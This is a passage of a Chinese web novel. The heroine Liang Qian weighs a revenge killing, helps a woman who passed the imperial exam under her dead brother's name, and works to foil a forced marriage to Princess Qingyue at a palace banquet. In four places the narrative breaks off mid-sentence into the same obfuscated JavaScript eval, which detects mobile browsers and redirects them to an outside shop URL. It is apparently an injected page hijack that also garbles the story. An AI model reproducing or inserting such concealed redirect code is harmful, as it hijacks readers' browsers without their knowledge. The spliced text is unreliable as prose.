“何止是有关,这人不顾江湖道义,与你父亲比试输了之后心生怨恨,竟然联合他人追杀你父亲。 当时你母亲怀着你,被你父亲藏到深山之中,对方人多势众,你父亲引开这些人便不知所踪了,后来我和你师叔找到他的时候,他身上全是与人搏杀的痕迹,他常年练武的手也……手筋被人生生挑断!” 无情痛苦地诉说着这一切,梁浅也心痛的闭上了眼睛,怎能想到这样无辜的人竟然落得这样的结局。 无情忍不住痛哭了起来,半晌才平复了情绪,只是冷冷吐出一句话,“阿浅,我要你杀了这个人。” “师父!师父你也说了此人当时联合了他人,最后的情形谁也未曾见到,若是此时便杀了他,那其他牵连的人我们又从何问去?”梁浅还是保持了最后一丝理智,跪着上前抱住了无情。 无情冷冷地看着她,“你是不是害怕耽误到萧明渊的事情,所以才和我说这番话拖延的!” “师父,怎么会,我说的都是为长远考虑啊。” “若是你不去,那我便亲自去将这人碎尸万段,你从此也别认我这个师父了。”无情情绪又激动起来,边咳嗽着就边要往屋里去拿她的刀。 梁浅知道师父一遇到这件事就会激动无比,自己穿越而来的时候并未见过原身的父母,因此没有一点关于他们记忆,只听得以前的描述,觉得是一对可怜人。 她答应报仇,更多是因为这是师父多年的心愿,而师父对自己有救命之恩,前几年,师父更是受了一次重伤,从生死边缘回来,对这件事执念也就更深了。 也是因此,当见到能去京城到萧府的机会时,她会毫不犹豫的带着梁浅离开他们生活了多年的镇子。 “好好,师父,你不要在动气了,我去就是,我去就是。”梁浅哭着抱着师父,无情听到这话身子也软了,跪倒在地上同梁浅抱在一起。 * 福之财之候在院子里,隐约听到了里面的动静,可是却不敢妄动,只是站在院子里踱步。 见梁浅出来脸色有些差,福之忙递上刚从前厅拿的茶水,“头儿,大师没事罢,怎么样啦?” 梁浅深吸一口气,调整了一下自己的呼吸,重新睁开眼,眼神又变得坚定了起来。 “无事,师父她身子有些不适,已经睡下了,一会儿去前面告芸掌柜一声,下午就关店休息罢。” 财之见梁浅说完话还是没有挪动脚步便问道:“头儿,可还有什么吩咐?” “财之,去许溪这件差事办得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13918132|147035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,这是给你的,如今我还需要你去做更重要的事。 你学福之的样子伪装成农户去给大理寺送菜,然后将你查到的证据都悄悄的放到萧明渊的案桌上,要保证他或者月银他们能够看到,而你也要迅速脱身,不要被他们当面看到。” 说罢,梁浅递过去一袋钱还有记录证据的文书,财之点了头,拿了东西便转身离去。 “福之,你见过那百里浪长什么样子,先去给我画一副他的画像。 这件事,想必不是大理寺的案子,而是萧明渊自己想查些什么,待画像画好,你便去跟着万星,看他把人藏在了哪里,确定后回来报我。” 梁浅见福之画好便将钱袋递了过去,又交代到:“我之前教过你的易容,你还是得用上,不要让万星他们发现你在跟他们,一切小心。” 顺着福之离开的背影,梁浅看向酒楼门口摆上的歇业的牌子,叹了叹气,正打算转身回去,门口却传来一声清脆的女声。 “是我来得不巧了,怎才到门口就歇业了?” 梁浅转身,只见一身着绿衣的女子牵着一头小毛驴走到了门口,见到梁浅有些吃惊,便掀起了自己的面纱。 “烟晴!” 梁浅忙过来欣喜地抱住烟晴,烟晴手里一堆东西被她突然的一抱弄得差点抓不住。 “这位娘子想必是远道而来,虽说歇业,既然是东家的好友,我们自然也是要款待的,快往里面坐,我亲自下厨给这位娘子做几个好菜。” 见到梁浅拉着一名女子走了进来,芸香也礼数周全地同对方打着招呼。 “得掌柜的亲自下厨,小女子荣幸之至。”烟晴见状也俏皮地朝芸香回礼,几人脸上始终挂着笑。 “怎的?都当了东家了,还愁眉苦脸的,无情师父近来可好?”烟晴看着梁浅的神情问道。 “老样子,近些日子里旧病复发,身子有些不好,不过还是在吃着师叔给的药。” 烟晴察觉到梁浅的情绪,不在追问下去,伸手在自己背包里掏出了一个盒子。 “这个给你,路上采的各种稀奇古怪的草药,知道你最喜欢这些东西。”烟晴将盒子递过去,梁浅眼见得高兴了起来。 “哇,多谢柳娘子!我做屏息丸就差这一株药草,还有这个,可以给师父做些安神的药……” 梁浅抱着盒子咧着嘴笑了半天才回过神来,“那烟晴,你这回进京要待多久,要不就在我这里住下吧。” “我是来找京城的医馆学医的,你这里还要赚钱,我就不叨扰了,柳家老宅的老管家知道我们的事,其他人只当是我从柳家老宅来投奔你的亲戚罢了,我会老宅住就是,来去也方便。” 烟晴整理着自己的箱子,又习惯性地伸手给梁浅把起脉了。 “那要吃什么喝什么只管来这,包你吃好喝好的。”梁浅笑眯眯地冲烟晴自信说道。 “好,知道了,大老板,你还是要多注意自己的身体,别东想西想的。” 梁浅叹了叹气,有些事怎么能不去想呢。 62. 状元郎 在黑夜中,梁浅在无人的街道四处躲藏…… 身后好像有什么可怕的怪物一直尾随着自己,自己十分紧张…… 就在自己躲到一个无人的角落以为自己安全之时,危险逐渐逼近,怪物发现了自己…… “啊!” 梁浅从梦中惊醒,却发现昏暗的屋里只点着一盏灯,而榻上的萧明渊也不见踪影。 萧明渊听到动静便从屏风后走了出来,见到梁浅满头大汗的样子,忙坐到床边牵着她的手。 “做噩梦了?怎出了这么多汗。” 萧明渊温柔的声音传入耳中,梁浅也感受到手中传来的触感,他的手过来牵住了自己。 “你怎么这会儿起来了?” 梁浅伸手出来帮忙将萧明渊还没有扣好的衣扣,两人动作神情自然得与一般夫妻无二,梁浅一瞬都有些恍惚。 “正如之前娘子所料,科举确实出了些事儿,月银他们刚刚抓到了潜入礼部的刺客,所以匆忙来报,我这会儿得去看才是。” 萧明渊站起身来,将屋里的一扇窗户打开了一些,梁浅虽然手上不自觉地拢了拢被子,嘴里却说着。 “我不热,你把窗户关上就快去罢。” “还说不热,自己身上都出汗了,你晚上睡觉老是喜欢把窗户关得严严实实的,这屋里还是进点风才好,这边的风也不会直直吹到床边,可以透透气。” 萧明渊絮叨着打开了窗户,又去拿自己的腰带,梁浅困意又上来了,语气有些慵懒地回道:“知道了,你去忙罢。” “嗯,还早得很,你继续睡,不必管我。” 梁浅心里犹豫片刻还是问道:“那你今日可是不回家了?要一直在礼部了?可还有什么事?” “嗯,想必就是去礼部,事情了了还得到陛下跟前去禀报,怎么了?” 梁浅沉默地点了点头,这样看来白日里他确实忙得抽不开身,可白日里刺杀难度系数可高得多。 梁浅话锋一转,“你可听说太后想让今年的新科状元当青月长公主的驸马?” “嗯,是听陛下提过。” 梁浅想起长公主那日唉声叹气的样子又好奇了起来,“那若是公主不愿,你说太后娘娘会不会就断了这个想法,让公主自己选。” 梁浅心里甚至默默划过一句,难道就不可以不选?为何堂堂长公主殿下到头来也必须选一个人嫁人。 “或许罢,太后还是很疼惜这位公主的,只是丞相大人……” 月光透过窗户轻轻撒在萧明渊的身上,显得他此时清冷许多,他沉思片刻又说道:“只是如今丞相也跟着搅合了进来让此时变得复杂了许多……倒是你,有没有听说什么有关丞相和太后的事。” 梁浅摇了摇头,只见萧明渊将荷包系上,才又朝梁浅这边走来。 梁浅原本坐在床上发起了呆,萧明渊走了过来,而后梁浅的唇上有了一瞬凉凉的触感。 “嗯?” “这是今日的,我走了,你继续睡。” * 这日梁浅正坐在师父的院子里擦着自己的短刀,福之则在一旁帮忙整理着梁浅的各种药瓶,财之就急冲冲地进来。 “头儿,阿福,榜出来了!你们可知道这新科状元是谁?” 梁浅放下手里的东西,饶有兴趣地回应,“哦?莫非你认识状元郎?” 财之得意地笑了起来,“那是,嘿嘿,还是不卖关子了,这新科状元正是那日我同苏兄在大街上拉回来的那位公子,冯伏嘉。” 福之满眼冒着亮光,“兄长真是好机缘,如今咱也是见过状元郎的人了,嘿嘿。” 梁浅见两兄弟拍着肩膀笑嘻嘻的,继续拿着自己的刀擦了起来,“好了,既然事都办好了,想去便去街上看看热闹罢。” 福之呆呆地笑了起来,“那头儿我去看看,头儿可要去凑凑热闹。” 财之注意到梁浅坐在原处纹丝不动,也察觉到了梁浅的意思。 “嗐,你去罢,我去看过了,我陪着头儿在这里歇会。”财之说罢便在梁浅的对面坐了下来。 福之离开后,财之便小心翼翼地看着梁浅的神情,过了好一会儿才出声问道。 “头儿,福之可是已经探查到您要找的人关在何处了?” 梁浅没有转头只是嗯了一声。 “那头儿可要听听今日我从街上听过来的消息?” “你讲。” “我方才除了看了榜,我还在街上听了些有关萧大人的传言。” 财之边说着边抬头悄悄看向梁浅的反应。 梁浅听到这里,只是叹了叹气,将东西放下,倒起了茶水。 “传他什么了?” “说是萧大人查到科举场上有冤情,背后正指向丞相大人,而原本的名单,这位状元郎也并非榜首,原来的榜首原是丞相大人手下的人。 所以如今也有人说,萧大人可是这新科状元的恩人了。” 梁浅轻轻抿了一口茶,看着院子里被风吹动的竹叶。 “谁能有咱这位丞相大人有心计呢。” 看着对面财之一脸疑惑的样子,梁浅才继续说了下去。 “科考场上毒死的举子,想必就是丞相下的手,而那举子也是想告诉世人真相,未曾想,还未曾说出来,就永远的倒在了考场上。 而这丞相也是做了两手准备,若是成功混淆视听,让大理寺都只注意到命案而不再注意科考本身,那他的人便可以就此上位。 若是他的人被拉了下来,这新科状元不仅会成为当朝驸马,驸马的升迁之路可就不如意了,想撼动他的实权自然是难上加难,而且如此还可以全然摆脱如今的榜首与他毫无关系的情形。 萧大人与他明里暗里斗得狠,那这驸马既不是他的人,又会是谁的人呢。” 福之嘴里啧了起来,“这人真是,算得准,算得狠,连他人的婚姻大事也都算进去了。” “这些儿女情长在他眼中最不值一提。” “那头儿?我们现在怎么办?” 梁浅收起了自己东西,有些淡然地说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958787|147035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“随他和萧明渊去斗,我们只做自己的事,如今酒楼客栈也才慢慢做起来,还不稳定,我还得多帮帮忙才是。” 财之也察觉到了梁浅这几日的情绪,只是站了起来默默帮着梁浅收着东西。 福之和苏奇吵吵闹闹地跑了起来,“东家!东家!状元郎来啦!” 财之抬起头来看着笑得眯起眼睛的福之,“来何处了?是来我们这儿了?” “是,哥哥,芸掌柜不在,状元郎此时已经进门了,还说想要见见东家哩。”福之兴冲冲地又看向梁浅。 梁浅指了指自己,疑惑地向福之确定,“要见见我?” * “见过新科状元。”梁浅满脸笑意地走进了房间,朝着桌边的状元郎行了个礼。 “东家快快起来,小人可受不了这礼。”冯伏嘉忙站起身来将梁浅扶了起来。 “还得多谢掌柜的和东家的照顾,那日考场上我与同场的考生说起在京城住的客栈,惊觉我住的竟然是最划算的,住得舒心,要价也不高,酒楼的酒菜也好。 还不说有人正好是吃了其他酒楼的酒菜身子不舒服了,如此看来,掌柜当真没有骗我,如今小人自然是得好好来谢谢掌柜和东家的。” 冯伏嘉说话不急不躁,语气温和,让人听了舒心,于是梁浅不知不觉也开始了商业互吹。 “嗐,说这些,状元郎觉得舒心就好,我和芸掌柜那日见公子就觉得公子气宇非凡,定是能拿状元的,日后必定前途似锦才是。” 冯伏嘉摇了摇头,“前途似锦尚未可知,只是现下看来我就有一难事。” 梁浅正举起酒杯朝冯伏嘉敬酒,就见他连连叹气,手中的酒杯就这样停在了半空中。 “哦?不知状元郎还有何时可愁?诗云,春风得意马蹄疾,一日看尽长安花,今日应是郎君得意之时,怎见郎君眉间皆是愁容?” 见到梁浅瞥到半空中的手,正在低头叹气的冯伏嘉还是赶紧端起自己的酒杯来,准备回敬梁浅。 这冯伏嘉却一时走神,将拿着酒杯的手才抬起来便正好撞到了梁浅手里的酒杯,一不注意,身上的衣服便洒上了酒。 梁浅忙拿出随身带着的手帕去帮忙擦着状元郎面前的酒渍,而状元郎的神情此时显得异常紧张,还没有来得及拒绝,梁浅的手便已经搭到了状元郎的胸前。 …… 梁浅一愣,这触感,怎么感觉和萧明渊他们这些男人的不太一样,虽说这位公子是位文弱书生,不及萧明渊这样的武将强壮,但是也不应该…… “你!” 梁浅顿时瞪大了眼睛,看着眼前的文弱书生,刚刚冯伏嘉推她不开,见她这个神情自己也更加慌乱。 “嘘……”冯伏嘉忙捂住了梁浅的嘴,警惕地看向了外面。 “东家小声些,还请东家帮我保密。”冯伏嘉捂着梁浅的嘴连忙躲到了桌子底下。 见梁浅点了点头,冯伏嘉这才放开梁浅。 梁浅尽力压制住自己的惊讶,低声问道:“你!你!你是女子?” 63. 驸马!? 看着梁浅惊讶的神情,冯伏嘉在桌子下蜷缩成一个球,抱住了自己的腿。 “那你可是冯伏嘉?” 梁浅小声试探的问道,见对方摇了摇头,自己再次吓得深吸一口气。 “不过,冯伏嘉是我兄长,我名叫冯伏芳……兄长意外病逝,我这才顶了兄长的名进京的。” 冯伏芳伸出手拉了拉吓得瞪大眼睛的梁浅。 “这!唉……公子是怎么病逝的,可安葬好了?” 梁浅看着眼前这个身着状元袍却满是愁容的女子。 不禁感到心疼,这样一个瘦弱的女子,是怎样走了这么远的路来到京城,又是怎样控制住自己心里悲痛万分的情绪上了考场,还拿下榜首的…… “兄长本来身子就不好,原来同他青梅竹马的秦家小姐忽然被家里许配了人。 他只埋头读书考试,等听到消息的时候,秦小姐已经在那家难产而死,他连最后一面都未曾见到…… 这才气急攻心走了的,我见到他时,他只说曾答应秦小姐,等他高中便回来娶她,如今是盼不到了,让我留了他的一缕头发悄悄埋到秦小姐的墓旁。 我与兄长这些年相依为命,靠着父亲的抚恤过日子,母亲前些年也走了,兄长上回去赶考,秦小姐来见我,还给了我许多钱财傍身,却没有想到成了兄长的安葬钱…… 后来,我想着兄长从小也教我读书,他读过的我也都读过,我们长相相似,我便顶了他的名来了京城,想遂他的愿,拿个功名回去与他。” 冯伏芳回忆着这一路的艰辛,梁浅不由的牵住了她的手安慰着她。 “那你后来是如何上了考场的?可有谁知道你的真实身份的?” 梁浅还是决定确认一下,目前除了自己还有没有人知道这件事,这决定了这件事的风险如何,只见冯伏芳摇了摇头。 “我原以为也是凶险的,只不过考场上,丞相貌似压了许多宝,所以众多人贿赂着,我也跟着给了些钱才免于搜身的。 也正是如此,萧大人上报说考场有舞弊之人后,昨日陛下还专门将原本榜上前三甲的人又召进宫里细细当面考了一回才作数的,我也身在其中。” 梁浅不禁感叹,这不相当于还加试了,虽然可能不用搜身(因为这年轻皇帝定是亲眼盯着),但是却依旧考真才实学,想必丞相的人露了怯,这冯伏芳才得以成功。 倒是当真是天时地利人和了。 “唉,如此这般,你如今是打算怎么办?” 冯伏芳再次叹气,脸上愁容密布,“东家,这正是我今日所愁之处啊,我原是想,拿了功名了却了兄长的心愿,我便回乡假死,届时买通当地官员,去查的也就是兄长真正身死的消息……” 梁浅听到这里,还是不免叹气,她真是将此事想得太简单了。 “可,今日得知我成了状元,进宫谢恩之时,丞相大人莫名为我做了媒,说要将青月公主许配与我。” 冯伏芳说着越来越激动,不由得提高了音调,梁浅忙指了指门外,冯伏芳才又小声的说着。 “这这这,这不是荒唐!我却不得暴露身份,一再拒绝,竟然惹得了太后不悦,说是我不敬青月公主,我本是高攀,怎还挑剔起来了,我……便更不敢说了。” 梁浅听到这里,竟然觉得荒唐得有些想笑,只有戏文里才会发生了的事情,现在居然就这样发生在了自己眼前。 “哦?那如此这是圣旨已经下来了?”梁浅强忍住那奇怪的笑意,还是关心地问起来。 “那倒是没有,说这事时,陛下始终没有说话,只是太后和丞相在同我说,故此,想必是还未定下来,可我听公公们说,今夜开宴,定然也是要请青月长公主来相看的…… 唉……我该如何是好?东家。” 梁浅听到宴会,便有些敏感的意识到,这冯伏芳想必是知道了自己不仅是这酒楼的老板,更是萧大人的家眷,这么大的宴会,自己八成也在的,所以才找自己来出主意。 可梁浅并不打算戳破,站在冯伏芳的角度,自己也能理解她如今的困境,而且青月长公主自己也算认识,应该,也不算多管闲事吧。 “按你所说,你可是还未曾见过长公主殿下了?”对面用力点了点头,期待地看着梁浅。 “那今夜晚宴上,你便同青月长公主私下见上一面,公主是良善之人,也不愿任人摆布,故此,你同她如实以告,想必公主得知真相,也会同情你,想必也能拒绝这门亲事。” “好,那便听娘子的,小人在此深谢娘子了,还请娘子救我与水火,来日,我定然结草衔环,报答娘子。” 说罢,冯伏芳便从袖口里拿出了一金簪递了过来,梁浅忙推了回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989515|147035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “萧家娘子,我既知你真实身份,如今也是诚心求你,若不是兄长临了时同意,我也万万不会来此,只在家当个纺织娘子做些工钱罢了。 可如今,我既得了功名,也想做出一番事业,或大或小,都是告慰兄长和秦娘子的在天之灵罢了。 求您帮我,也是不想卷入丞相他们争斗,更不想误了长公主的终身。 这金簪原是我母亲的陪嫁,如今我虽刚得了功名,却无俸无禄,还望您收下此物。” 梁浅将对面扶起来,见到冯伏芳明艳却又有一丝英气的容貌,心里想起一瞬间长公主的样子,竟然联想了起来。 这样两位女子不应该就这样不清不楚的就被捆绑上,听到对面这番情真意切的话,梁浅也不免动容。 “我只能尽力而为,你我也只能走一步看一步。这金簪如此贵重,我是万万不能收的,你且好好收着,让来日这金簪也来见证你的好日子才是。” * 梁浅送走了冯伏芳,叮嘱福之继续去盯万星,便带着财之匆忙回了萧府。 果不其然,到了下午萧明渊果然派了人来报,让梁浅进宫赴宴。 “头儿?如今按着形势,您可还要杀那人?” 财之在前面驾车,梁浅则靠着马车同财之说话。 见梁浅半晌不说话,财之才又继续开口说着。 “头儿,我虽从小在县里混着,可也算半个江湖人,依我看,无情大师所说之事想必对头儿你来说,未免风险太大。” 财之始终看着前面的路,虽然路上有各种各样的声音,梁浅还是听清楚了财之的话。 “哦?依你看,我有哪些风险可防?” “吁——”财之听到梁浅有了回应,便将马车停到了一无人的巷口,自己则仍然坐在原处说话。 梁浅也注意到马车停了下来,心想反正自己今日也不是宴会的主角,看日头也能提早到,便也没有拉开车帘,静静坐着听财之说话。 “头儿,还望您恕我直言,这几日我也猜到了七八分,想必您和大师想杀的这人也算得你们的仇人罢,虽说冤冤相报何时了,我也没有这个资格拦您,可还望头儿能多考虑一分。 先不说这人的武功这些年在江湖上也没有听到个响儿,要么是早年有些厉害受了重伤,要么是有人控制,不在江湖上露面。” 64. 阴差阳错 梁浅一见到萧明渊便将他一把拽了过来,“夫君,听说今日长公主殿下也要来?” 萧明渊藏不住嘴角的笑,梁浅很少这样主动挽着他,还贴这么近同他说话。 “嗯,应该是要过来的,怎么了?” 梁浅眼睛狡猾得眯起了眼睛来,招手让他靠近些,想同他说悄悄话。 “那你可有什么门道,我想见见在宴会前见见公主。” 梁浅说罢,满眼期待的看着萧明渊,萧明渊笑着假装思考,“有倒是有,不过这可是算夫人求我?” 梁浅没好气的往他身上打了一下,萧明渊顺势拉住她的手,伏在她耳边轻声说道:“好,娘子的事便是正事,一会儿我让小张公公去帮忙传话,就说是你想见长公主一面,等回了话你又过去。” “这还差不多。” 两人正在这里打闹说笑之时,冯伏芳走了过来,朝两人行礼。 “见过萧大人,萧夫人。” “是新科状元啊,快快请起。”萧明渊同冯伏芳客套了起来,而梁浅则偷偷给冯伏芳递起了眼色。 “财之,一会儿你趁人不注意,悄悄去同状元郎说,一会儿到了宴席上,见到我起身就出来。”梁浅走在后面和财之商量着,财之点了点头,便朝旁边去了。 “你刚同他说什么?”萧明渊不知什么时候回了头,好奇地问着梁浅。 “哦,我说让他去看看回马车上看看有没有什么解酒的东西,见这么多人,怕是一会儿给你吃醉了。” 梁浅面无改色的撒着谎,萧明渊丝毫没有察觉,还满脸笑意地回道:“放心,今日主场是新科状元,你夫君我今日不会吃醉的。” 梁浅才坐下来吃了一口茶水,张公公便来了信,让梁浅到偏殿见公主殿下。 梁浅朝冯伏芳眨了眨眼,冯伏芳立即领会到了,假装应付起来敬酒的官员,实则暗自朝梁浅打了个暗号。 梁浅刚起身来,萧明渊便一把抓住了梁浅,梁浅被他拉着手,转头看着他。 “我去去就回。”梁浅见他眼里闪过些许疑惑,回握了握他的手,他的眉头才稍微舒展开来。 “嗯,我等你回来。” * “东家东家,公主在何处?”冯伏芳一出了殿门便赶紧跑过来拉着梁浅。 梁浅咳了咳,冯伏芳连忙收回自己的手,“状元郎别忘了自己此时的身份。” 见冯伏芳点了点头,梁浅才带着冯伏芳朝偏殿走去,远远只隐隐看得里面有一女子,看身形倒和公主有几分相像。 就在两人打算经过转角打算进去的时候,突然跳出一位婢女拦住了梁浅,“公主说只见状元郎,还请萧夫人留步。” 梁浅下意识往后退了退,发现身后也是长公主身边的那几位有武功的宫女,梁浅有些无奈地看了看冯伏芳。 冯伏芳像是有些控制不住自己表情一样,用力咽了咽口水,然后有些可怜地看向梁浅。 见梁浅轻轻摇头,她终于是放弃挣扎,顺着宫女指的方向走了进去,随后宫女毫不留情地关上了大门。 梁浅站在门口等着冯伏芳,同时也在思考为何长公主要先见冯伏芳,难道一切就这么巧合? “还未问过夫人怎么和我们的新科状元熟识?”面前的掌事宫女眼神犀利地看着梁浅,虽然她还是在笑,但是这幅表情给梁浅一种不寒而栗的感觉。 “说不得熟识,不过是打过几回照面罢了,刚状元郎出来想换件衣裳,找不到去处,这才问了问我,我才带着他过来的。” 梁浅从容地应对着,而对面听了这话只是意味深长的点了点头。 忽而里面传来有东西掉落破碎的声音,梁浅瞬间警觉,打算冲进去看,眼前的宫女却将梁浅拦住。 身后也忽然传来急促的脚步声,梁浅刚一转头,那人便已经到了梁浅面前。 “长公主殿下?您怎会在此?那,那里面的是?” 青月长公主完全忽略一旁梁浅惊讶地表情,有些着急的朝里面看去,却看不清楚。 “里面如何了?这是说什么?让开,让我来听听。” 青月直接趴到了窗前侧耳听着,里面的声音也逐渐大了起来,梁浅也意识到不妙,这下错失了解释的时机了。 里面传来冯伏芳的声音,“姑娘请自重!我并非是姑娘刚刚说的那般随便之人,十年寒窗苦读,我为的报效朝廷,侍奉天子,造福百姓! 并非是为了娇奢□□之事,今日过来,原是想同公主说清楚,你既不是公主,我也不必与你再说罢!” “郎君可怜可怜奴婢罢……呜呜呜……” 话音刚落,便听到冯伏芳往门外走的声音,结果好像里面的人又一把拉住了她,在外面看上去像是跪在地上抱着她的腿!? 而窗外的公主殿下看着这一切一直在偷笑,看向冯伏芳的眼神也变得有些不同…… 梁浅此时震惊得无话可说,想过可能会变得有些混乱,没有想到会这么混乱! 刺客的直觉让她知道远处有人注意到这边了,梁浅忙不顾宫女的阻拦跑到青月面前行礼。 “长公主殿下!此事非同小可,不论您今日是如何打算的,这是要是传了出去,不仅会毁了新科状元的声誉,就连长公主殿下想必也会一起牵连。” 梁浅抬头悄悄观察着青月的声音,她刚刚的笑容有些收敛,却依然不为所动。 “公主不是也不想当他人的棋子?可若是先任人摆布,被人陷害毁了声誉,下一步就只会越陷越深。” 梁浅上前低声同青月说道,说罢抬头朝远处看了看,青月顺着她的视线看去,一大群人正从正殿赶了过来。 “我知道了,开门罢,告诉那人不用演了,将衣裳换回来。”青月忙站起身带着一众宫女往里面走去,而梁浅也跟在身后。 刚进去只见到那宫女匆忙换了衣裳,冯伏芳还扶着椅子惊魂未定的样子。 梁浅忙走到长公主身边朝冯伏芳说道:“这位是长公主殿下,状元郎还不见过公主?” 冯伏芳忙整理了一下衣领跪下去行礼,“小人冯伏嘉,见过长公主殿下,公主殿下千岁千岁千千岁。” 长公主殿下看了半天,地上跪着的冯伏芳纹丝未动,青月才徐徐吐出几个字,“嗯,起来罢。” “你,便是冯伏嘉?” “回公主殿下,正是小人。” “嗯,模样还算不错,在家中可有婚配?” “回公主殿下……小人未曾有过婚配。” 冯伏芳偷偷看了看站在公主殿下身边的梁浅,见她一直在闭眼摇头,自己心里就已经凉了一半,但是表面上还装作若无其事。 正在青月一脸好奇地看着冯伏芳,梁浅闭眼摇头,冯伏芳紧张得说不出话的尴尬时刻,门外传来说陛下驾到的声音。 众人忙跪下行礼,瞬间屋子里一大群人涌了进来,不仅皇帝皇后来了,太后和丞相也站在身旁。 梁浅跪下行礼,只见到皇帝脚上的金丝履和皇后衣摆的凤凰,这一刻,她才切切实实感受到皇家的压迫感…… “都起来罢。”年轻的皇帝说话却威严有力,梁浅等人这才慢慢站起身来。 梁浅一站起身,就感觉一只有力的手扶住了自己,梁浅转身,是萧明渊,“娘子放心,我在。” “哟,这是在作甚,咱的新科状元怎的也会在此处?”丞相站在一旁看着长公主一脸看戏的表情说道。 “回大人,小人刚在宴席上弄脏了衣裳,恐难面见天颜,故来此更换衣裳,稍作整理。”冯伏芳忙作揖行礼回道。 “哦,这样啊,那萧夫人又为何在此?”丞相突然又看向梁浅,梁浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006922|147035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡定的回礼。 “原是同公主殿下有约,未曾想竟然在此遇到了冯郎君。” 梁浅假装有些惊讶地说着,虽然演技略显浮夸,但是由于众人的重点都不在她身上,加上站在她身后的萧明渊,也没有人在计较她的事。 青月长公主也站了出来笑眯眯地说道:“是哩,我与萧夫人投缘,想着我们女孩子家说说体己话,这都不可以吗?舅舅。” 丞相没有回应,只是眼睛到处看了看,仿佛没有得到满意的答案一般,机械地点了点头。 太后出来缓和了气氛,“你这孩子,怎会和人萧夫人恰好约到此处来了,若是今日萧夫人不在,怕是旁人说你私会男子,谁又替你解释。” 青月忙有些娇羞地跳到太后的身边撒着娇,“母后,人家冯郎君是正人君子,哪有你说的那么不敬人。” 听到这里,丞相像是眼睛突然亮了一样,从人群中又上前了一步,全然不顾太后想带着青月走的样子。 “既是如此,公主与状元郎也是算私下里见过了,依我看,两人倒当真是天造地设的一对,公主年岁渐长,一直未成婚,那府上的那些个公子……” 丞相眼睛余光一直看着默不作声的皇帝,自己的身子又朝向太后行礼。 “你!”青月忍不住朝丞相说了一句,就在想冲上去理论的时候被身后的嬷嬷拉住了。 “青月!”太后和皇帝同时出声,说完互相对视,太后便偏过了头。 萧明渊此时出了声,语气平和,同丞相那般目的性极强的语气全然不同。 “陛下,依微臣之见,婚姻大事还是该问问长公主殿下本人的意愿才是。” 皇帝点了点头,正打算转头问青月,丞相又跳了出来,“是啊,上回诗会,公主还说喜欢我夫人娘家的小侄子哩,还是得看公主的意愿。” 见青月的怒气又上来了,丞相又说道:“公主可千万别说什么终生不嫁,常伴青灯古佛的话,你这什么性情,我着做舅舅的可清楚得很。” “她什么性情与你有什么关系!你可别再想着给青月许给你那不成器的侄子!她的嫁妆他家也休想得到一分!” 太后也同丞相争论了起来,梁浅听到这里也总算是清楚这丞相的用意了,无非就是把水搅浑,逼得今日皇帝必须做下决定。 “好了!不必争论了,青月,你自己如何看待此事,你选谁,我都不会说多半个字,一切都按照你的意愿。”皇帝终于开口下了最后通牒。 “与其嫁给丞相家的窝囊废,我不如选这人品样貌才学样样好的状元郎!”青月眼里含着泪水,倔强的对着丞相说道。 “你这丫头!不识好歹!”丞相指着青月骂了起来,萧明渊忙站了出去将丞相拽开,梁浅也上前去扶着情绪激动的青月,而皇后则连忙扶着太后。 “你可想好了?青月”皇帝温柔地朝青月说道,就像一个邻家大哥哥在同自己的妹妹说话,然后伸出手想牵着青月的手。 “我想好了,皇兄,这是我自己选的,我不会有任何怨言,冯郎君也是好人……请陛下成全。”青月郑重地跪了下去,朝他的皇兄行着大礼。 而梁浅也瞥见,皇帝刚刚伸出想牵出妹妹的手在看到青月跪下去的时候收了回去,然后叹了叹气,“好,那这件事就到此为止罢。” 皇帝说完便转身毫不犹豫的转身离开了,皇后见状也连忙追了出去,太后身边的嬷嬷接过手扶着太后离开,众人拜别。 青月红着眼睛直起身来,丞相见状甩了甩自己的袖子,瞥了青月一眼便走了,青月则一直咬牙切齿地盯着丞相离去的身影。 梁浅扶起青月转身,便见到了身后满头大汗的冯伏芳正可怜兮兮的看着自己。 